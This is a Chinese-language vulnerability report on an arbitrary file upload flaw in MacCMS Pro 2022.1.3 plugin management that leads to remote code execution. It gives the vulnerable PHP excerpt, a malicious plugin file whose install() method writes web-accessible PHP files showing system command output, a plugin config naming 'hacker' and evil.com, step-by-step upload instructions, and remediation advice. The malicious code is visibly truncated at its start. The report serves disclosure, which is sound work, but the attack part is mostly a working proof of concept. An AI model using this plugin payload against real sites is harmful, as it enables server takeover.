# MacCMSPro 插件管理任意文件上传漏洞安全报告 #1 ## 漏洞概述 MacCMSPro 在插件管理功能中存在安全漏洞,允许攻击者上传任意文件。攻击者可以通过上传包含恶意代码的插件包,利用后端插件安装功能,在插件安装期间直接执行用户上传的代码,从而实现远程代码执行(RCE),完全控制服务器。 ## 影响范围 - **受影响版本**:MacCMS Pro 2022.1.3 - **官方网址**:https://www.macms.pro/ ## 漏洞分析与利用代码 ### 核心漏洞代码 ```php // [1] Verify file extension and size (only ZIP is verified) $info = $file->rule('uniqid')->validate(['size' => 10240000, 'ext' => 'zip'])->move($... if ($info) { $tmpName = substr($info->getFilename(), 0, strpos($info->getFilename(), '.')); $tmpAddonDir = ADDON_PATH . $tmpName . DS; $tmpFile = $addonTmpDir . $info->getSaveName(); // [2] Installing the plugin install(); // Execute the installation method(which can include any code) } } ``` ### 恶意插件代码 (Cmdplugin.php) ```php "; $file_path = 'C:\\phpstudy\\phpstudy_pro\\WWW\\whoami.php'; file_put_contents($file_path, $content); // Also create a file to display detailed information $detail_content = "System Command Execution TestCurrent User: " . trim($output) . ""; $detail_path = 'C:\\phpstudy\\phpstudy_pro\\WWW\\cmd_result.php'; file_put_contents($detail_path, $detail_content); return true; } public function uninstall() { return true; } public function enable() { return true; } public function disable() { return true; } } ``` ### 插件配置文件 (info.ini) ```ini name = cmdplugin title = 命令执行插件 type = plugins intro = 系统命令执行测试 author = hacker website = http://evil.com version = 1.0.0 state = 0 ``` ### 利用步骤 1. 将上述代码打包为 `cmdplugin.zip` 2. 登录管理后台 (`/admin/admin/addon/add.html`) 3. 点击“离线安装” -> “上传” 4. 上传恶意 zip 文件 5. 访问生成的文件触发命令执行: - `http://xxx.xxx.xxx/whoami.php` - `http://xxx.xxx.xxx/cmd_result.php` ### 修复方案 1. **验证插件内容**:在安装插件前,对上传的 zip 文件内容进行严格的安全扫描和验证。 2. **限制代码执行**:禁止在插件安装过程中直接执行用户提供的代码,特别是 `install()` 方法。 3. **沙箱机制**:在隔离的沙箱环境中运行插件安装过程,限制其对服务器资源的访问。 4. **权限控制**:确保插件安装过程使用最小权限原则,避免以高权限执行代码。 5. **代码审计**:对插件管理模块进行全面的代码审计,修复所有潜在的安全漏洞。